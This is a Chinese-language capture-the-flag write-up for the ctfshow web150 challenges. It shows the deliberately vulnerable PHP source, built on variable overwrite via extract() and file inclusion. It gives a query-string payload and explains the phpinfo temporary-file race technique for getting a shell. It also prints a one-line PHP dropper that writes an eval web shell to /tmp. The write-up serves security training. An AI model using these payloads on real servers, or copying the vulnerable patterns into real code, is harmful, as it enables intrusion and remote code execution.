<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

web150plus
解答:php中变量名的点和空格会被转换成下划线。

payload:?..CTFSHOW..=phpinfo 原题说是需要条件竞争,所以flag改为了环境变量。phpinfo后查找即可获得。

在这里插入图片描述

这道题可以联系到web123。那道题里用的是CTF[SHOW.COM解析为CTF_SHOW.COM,是说对不符合规则的变量里只转换一次,变量名中的[也会被替换为_,但其后面的点.就不再进行替换了。

接下来学习一下原题的思路:(不过没做过原题,也不确定思路是不是这个,如果有不对的,还希望能帮忙指正~)

文件包含,在临时文件消失前包含它。

利用phpinfo(具体看一下“进一步学习”的三个链接,特别是第一个链接)。

phpinfo会打印上传临时文件的路径,包含临时文件就可以getshell。

先发送数据包给phpinfo页面,从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。临时文件在第一个请求phpinfo页面渲染加载完毕后会被删除。也就是说如果第一个请求结束,临时文件被删,第二个请求就无法进行包含了。

1)我们需要让phpinfo页面加载的慢一点。

phpinfo页面会将我们post的数据包里的header、get等信息都打印出来,所以我们要把这个数据包的header、get等位置塞满垃圾数据,加大phpinfo加载时间。

php发送数据是分包发送,默认的输出缓冲区大小为4096,即php每次返回4096个字节给socket连接。那么不管返回的信息是第几次,只要读取到的字符里包含临时文件名,就立即发送第二个数据包进行文件包含。

2)此时,发送的第一个数据包的socket连接还没结束,php还在继续每次输出4096个字节,临时文件还没有被删除。这时利用文件包含漏洞就可以成功包含临时文件getshell。

因为这个临时文件终归还是会被删除,所以直接上传是写一句话木马不可行,需要利用短暂的包含写入文件,将一句话木马写到如/tmp/jz,这样就不会被删除了。

<?php file_put_contents('/tmp/jz', '<?php @eval($_REQUEST[jz]);?>');?>
进一步学习:

PHP文件包含漏洞(利用phpinfo)(先看这个,原理详细还有exp)

phpinfo函数_文件包含之通过phpinfo去Getshell@weixin_39528994

文件包含&奇技淫巧@mob604756ebed9f

System:提供服务器所在的操作系统的信息。

$_SERVER['SERVER_ADDR']:真实ip

$_SERVER["CONTEXT_DOCUMENT_ROOT"]:网站根目录

disable_functions:禁用函数

$_FILES:临时文件路径

向phpinfo页面post恶意代码,可以在$_FILES中看到上传的临时文件,如果该网站存在文件包含漏洞,便可以将恶意代码存储我们已知的绝对路径去包含它getshell。